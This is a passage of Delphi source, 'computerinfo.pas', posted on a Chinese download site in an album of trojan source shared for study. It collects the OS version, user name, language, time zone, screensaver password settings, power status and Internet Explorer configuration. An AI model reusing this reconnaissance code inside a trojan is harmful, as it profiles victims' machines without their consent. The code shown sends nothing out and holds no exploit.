⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 computerinfo.pas

📁 木马源程序,供大家研究
💻 PAS
📖 第 1 页 / 共 5 页
字号:
    Result.MinorVersion := dwMinorVersion;

  end;

  Result.WindowVersion := GetVersion;

  Result.WindowName := GetVersionName(GetVersion);

  Result.CurrentUserName := GetUserName;

  Result.Language := GetSystemDefaultLangName;

  Result.Folders := GetSystemFolders;

end;

var

  OS : Integer = 0;

function GetVersion : Integer;

var

  VerInfo: TOSVersionInfo;

begin

  if OS = 0 then

  begin

    VerInfo.dwOSVersionInfoSize := SizeOf (TOSVersionInfo);

    GetVersionEx (VerInfo);

    case VerInfo.dwPlatformId of

      VER_PLATFORM_WIN32_NT :

      begin

        case VerInfo.dwMajorVersion of

          0..3 : OS := OS_WINDOWSNT3;

          4 :

            If string(VerInfo.szCSDVersion)='Service Pack 4' then

              OS := OS_WINDOWSNT4SP4

              else OS := OS_WINDOWSNT4;

          else

            if VerInfo.dwMajorVersion >= 5 then

               if VerInfo.dwMinorVersion > 0 then

                  OS := OS_WINDOWSXP

                  else OS := OS_WINDOWS2000;

        end;

      end;

      VER_PLATFORM_WIN32_WINDOWS :

      begin

        If (VerInfo.dwMajorVersion=4) and (VerInfo.dwMinorVersion=0) then

        begin

          If VerInfo.dwBuildNumber>1000 then

            OS := OS_WINDOWS95OSR2

            else OS := OS_WINDOWS95;

        end

        else if (VerInfo.dwMajorVersion=4) and (VerInfo.dwMinorVersion=10) then

        begin

          If (VerInfo.szCSDVersion[1] = 'A') then

            OS := OS_WINDOWS98SE

            else OS := OS_WINDOWS98;

        end

        else if (VerInfo.dwMajorVersion = 4) and (VerInfo.dwMinorVersion = 90) Then

          OS := OS_WINDOWSME

        else OS := OS_UNKNOW;

      end;

      VER_PLATFORM_WIN32s : OS := OS_WINDOWS31;

      else OS := OS_UNKNOW;

    end;

  end;

  result := OS;

end;

function GetVersionName(Version : Integer): string;

begin

  case Version of

    OS_UNKNOW : Result := 'Microsoft Windows';

    OS_WINDOWS31 : Result := 'Microsoft Windows 3.1';

    OS_WINDOWS95 : Result := 'Microsoft Windows 95';

    OS_WINDOWS95OSR2 : Result := 'Microsoft Windows 95 OSR2';

    OS_WINDOWS98 : Result := 'Microsoft Windows 98';

    OS_WINDOWS98SE : Result := 'Microsoft Windows 98 Second Edition';

    OS_WINDOWSME : Result := 'Microsoft Windows Millennium Edition';

    OS_WINDOWSNT3 : Result := 'Microsoft Windows NT 3';

    OS_WINDOWSNT4 : Result := 'Microsoft Windows NT 4';

    OS_WINDOWSNT4SP4 : Result := 'Microsoft Windows NT 4 + SP4';

    OS_WINDOWS2000 : Result := 'Microsoft Windows 2000 / NT 5';

    OS_WINDOWSXP : Result := 'Microsoft Windows XP';

   end;

end;

function GetUserName : string;

const

  cnMaxUserNameLen = 254;

var

  dwUserNameLen : DWord;

begin

  result := '';

  dwUserNameLen := cnMaxUserNameLen-1;

  SetLength( Result, cnMaxUserNameLen );

  Windows.GetUserName( PChar( Result ), dwUserNameLen );

  SetLength( result, dwUserNameLen );

end;

function GetSystemDefaultLangName : string;

var

  IdiomaID:LangID;

  Idioma: array [0..100] of char;

begin

  IdiomaID:= GetSystemDefaultLangID;

  VerLanguageName(IdiomaID,Idioma,100);

  Result:=String(Idioma);

end;

function GetTimeZoneinfo : TTimeZoneInfo;

const

  KeyNt = '\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones';

  Key9x = '\SOFTWARE\Microsoft\Windows\CurrentVersion\Time Zones';

var

  Tzi: TTimeZoneInformation;

  S : TStrings;

  I : Integer;

  Key : string;

begin

  GetTimeZoneInformation(Tzi);

  with Tzi do

  begin

    Result.Bias := Bias;

    Result.StandardName := WideCharToString(StandardName);

    Result.DayLightName := WideCharToString(DayLightName);

    StandardDate.wYear  := 2000;

    //day = 5 => last Sunday in wMonth, otherwise wDay = Sunday in wMonth for change!

    Result.StandardDate := SystemTimeToDateTime(StandardDate);

    DayLightDate.wYear  := 2000;

    //day = 5 => last Sunday in wMonth, otherwise wDay = Sunday in wMonth for change!

    Result.DayLightDate := SystemTimeToDateTime(DayLightDate);

    Result.StandardBias := StandardBias;

    Result.DayLightBias := DayLightBias;

  end;

  S := TStringList.Create;

  with TRegistry.Create do

    try

      RootKey := HKEY_LOCAL_MACHINE;

      If Win32PlatForm = VER_PLATFORM_WIN32_NT then

        Key := KeyNt

        else Key := Key9x;

      If OpenKey(Key, False) Then

      begin

        GetKeyNames(S);

        SetLength(Result.Standards, S.Count);

        for I := 0 to S.Count-1 do

          If OpenKey(Key+'\'+S[I], False) Then

          begin

            Result.Standards[I].Display := ReadString('Display');

            Result.Standards[I].Dlt := ReadString('dlt');

            Result.Standards[I].Index := ReadInteger('Index');

            Result.Standards[I].MapID := Readstring('MapID');

            Result.Standards[I].Std := ReadString('Std');

            CloseKey;

          end;

        CloseKey;

      end;

    finally

       S.Free;

       Free;

    end;

end;

function GetScreenSaverInfo: TScreenSaverInfo;

const

  sz = 1023;

var

  Time : Integer;

  Bool : Boolean;

  Path : array[0..sz] of char;

  procedure Enumeration(var List: TStrings);

  var

    R : TSearchRec;

    S : string;

    T : Integer;

  begin

    S := Path;

    If S[Length(S)] <> '\' then S := S + '\';

    T := FindFirst(s + '*.scr', faAnyFile + faArchive + faSysFile + faHidden, R);

    while T = 0 do

    begin

      List.Add(S + R.Name);

      T := FindNext(R);

    end;

    SysUtils.FindClose(R);

  end;

begin

  SystemParametersInfo(SPI_GETSCREENSAVETIMEOUT, 0, @time, 0);

  Result.Delay  := time;

  SystemParametersInfo(SPI_GETSCREENSAVEACTIVE, 0, @bool, 0);

  Result.Active := bool;

  SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, @bool, 0);

  Result.Running := bool;

  with TRegistry.Create do

  begin

    RootKey := HKEY_CURRENT_USER;

    If OpenKey('\Control Panel\Desktop', False) then

    begin

      Result.Secure := ReadString('ScreenSaverSecure') = '';

      Result.ScreenSaver := ReadString('SCRNSAVE.EXE');

      Result.UsePassword := ReadString('ScreenSaveUsePassword') = '1';

      CloseKey;

    end;

    Free;

  end;

  Result.ScreenSavers := TStringList.Create;

  GetWindowsDirectory(Path, sz);

  Enumeration(Result.ScreenSavers);

  GetSystemDirectory(Path, sz);

  Enumeration(Result.ScreenSavers);

end;

function StartScreenSaver(const ExeName, Paras : String): THandle;

var

  PI  : PROCESS_INFORMATION;

  SIA : _STARTUPINFOA;

begin

  PI.hProcess:= 0;

  with SIA do

  begin

    cb:= SizeOf(SIA);

    lpReserved:= nil;

    lpDesktop:= nil;

    lpTitle:= nil;

    dwFlags:= STARTF_USESHOWWINDOW or STARTF_FORCEOFFFEEDBACK;

    wShowWindow:= SW_SHOW;

    cbReserved2:= 0;

    lpReserved2:= nil;

  end;

  Windows.CreateProcess(PChar(exeName), PChar(paras), nil, nil, false,

    NORMAL_PRIORITY_CLASS, nil, nil, SIA, PI);

  CloseHandle(PI.hThread);

  Result:= PI.hProcess;

end;

function GetPowerStatusInfo : TPowerStatusInfo;

var

  Sps: _SYSTEM_POWER_STATUS;

begin

  GetSystemPowerStatus(Sps);

  with Sps do

  begin

    case ACLineStatus of

      0: Result.ACLineStatus := lsOffline;

      1: Result.ACLineStatus := lsOnline;

      else  Result.ACLineStatus := lsUnknown;

    end;

    Result.BatteryFlags:= [];

    If BatteryFlag and 1 = 1 then Include(Result.BatteryFlags, bfHigh);

    If BatteryFlag and 2 = 2 then Include(Result.BatteryFlags, bfLow);

    If BatteryFlag and 4 = 4 then Include(Result.BatteryFlags, bfCritical);

    If BatteryFlag and 8 = 8 then Include(Result.BatteryFlags, bfCharging);

    If BatteryFlag and 128 = 128 then Include(Result.BatteryFlags, bfNoSystemBat);

    If BatteryFlag and 256 = 256 then Include(Result.BatteryFlags, bfUnkown);

    Result.BatterLifePercent := BatteryLifePercent;

    Result.BatteryLifeTime:= BatteryLifeTime;

    Result.BatteryFullLifeTime:= BatteryFullLifeTime;

  end;

end;

function GetInternetInfo : TInternetInfo;

var

  Reg : TRegistry;

  procedure GetAdvOpt(aPath, aN: string; var Info : TInternetInfo);

  var

    S : TStrings;

    I : LongInt;

    J : LongInt;

    CheckedValueS: string;

    CheckedValueI: LongInt;

  begin

    S := TStringlist.Create;

    with Reg do

      try

        RootKey := HKEY_LOCAL_MACHINE;

        OpenKey('\SOFTWARE\Microsoft\Internet Explorer\AdvancedOptions' + aPath, false);

        GetKeyNames(S);

        J := High(Info.InerAdvProps)+1;

        SetLength(Info.InerAdvProps, S.Count+J);

        for I:= 0 to S.Count - 1 do

        begin

          If OpenKey('\SOFTWARE\Microsoft\Internet Explorer\AdvancedOptions' + aPath + '\' + S[I], false) then

          begin

            If AnsiCompareText(ReadString('Type'), 'group') = 0 then

              GetAdvOpt(aPath + '\' + S[I], aN + ReadString('Text') + ':', Info)

            else begin

              Info.InerAdvProps[I+J].Name := ReadString('Text');

              case GetDataType('CheckedValue') of

                rdUnknown,

                rdBinary: ;

                rdString,

                rdExpandString: CheckedValueS := ReadString('CheckedValue');

                rdInteger: CheckedValueI := ReadInteger('CheckedValue');

              end;

              RootKey:= HKEY_CURRENT_USER; //R.ReadInteger('HKeyRoot');

              OpenKey(ReadString('RegPath'), false);

              If ValueExists(ReadString('ValueName')) then

              begin

                case Reg.GetDataType(ReadString('ValueName')) of

                  rdUnknown,

                  rdBinary: ;

                  rdString,

                  rdExpandString:

                  Info.InerAdvProps[I+J].Value:= AnsiSameText(CheckedValueS, ReadString(ReadString('ValueName')));

                  rdInteger: Info.InerAdvProps[I+J].Value:= CheckedValueI = ReadInteger(ReadString('ValueName'));

                end;

              end

              else Info.InerAdvProps[I+J].Value:= false;

              CloseKey;

            end;

          end;

          CloseKey;

        end;

      finally

        S.Free;

      end;

  end;

  procedure GetZoneSites(aZoneIndex: string; aZoneDomain: string; aURL: string; aSites: TStrings);

  var

    S: TStrings;

    I: LongInt;

  begin

    S:= TStringList.Create;

    try

      with Reg do

      begin

        OpenKey('\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains' + aZoneDomain, false);

        GetValueNames(S);

        for I:= 0 to S.Count - 1 do

          If (S[I] <> '') and (AnsiCompareText(IntToStr(ReadInteger(S[I])), aZoneIndex) = 0) then

            aSites.Add(S[I] + '://' + aURL);

        S.Clear;

        GetKeyNames(S);

        CloseKey;

        for I:= 0 to S.Count - 1 do

          GetZoneSites(aZoneIndex, aZoneDomain + '\' + S[I], S[I] + '.' + aURL, aSites);

      end;

    finally

      S.Free;

    end;

  end;

var

  S : TStrings;

  I : LongInt;

  D : PItemIDList;

  P : array[0..MAX_PATH] of Char;

begin

  S := TStringList.Create;

  Reg := TRegistry.Create;

  try

    with Reg do

    begin

      (*-------------------------------------*)

      RootKey := HKEY_CURRENT_USER;

      OpenKey('\Software\Microsoft\Internet Explorer\Main\', False);

      Result.HomePage := ReadString('Start Page');

      CloseKey;

      (*-------------------------------------*)

      RootKey := HKEY_LOCAL_MACHINE;

      OpenKey('\SOFTWARE\Clients\Calendar', False);

      OpenKey(ReadString(''), False);

      Result.Calendar := ReadString('');

      CloseKey;

      CloseKey;

      (*-------------------------------------*)

      OpenKey('\SOFTWARE\Microsoft\Internet Explorer', False);

      Result.IEVersion := ReadString('Version');

      CloseKey;

      (*-------------------------------------*)

      OpenKey('\SOFTWARE\Clients\Contacts', False);

      OpenKey(ReadString(''), False);

      Result.Contacts := ReadString('');

      CloseKey;

      CloseKey;

      (*-------------------------------------*)

      OpenKey('\SOFTWARE\Clients\Mail', False);

      OpenKey(ReadString(''), False);

      Result.EMailClient := ReadString('');

      CloseKey;

      C

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -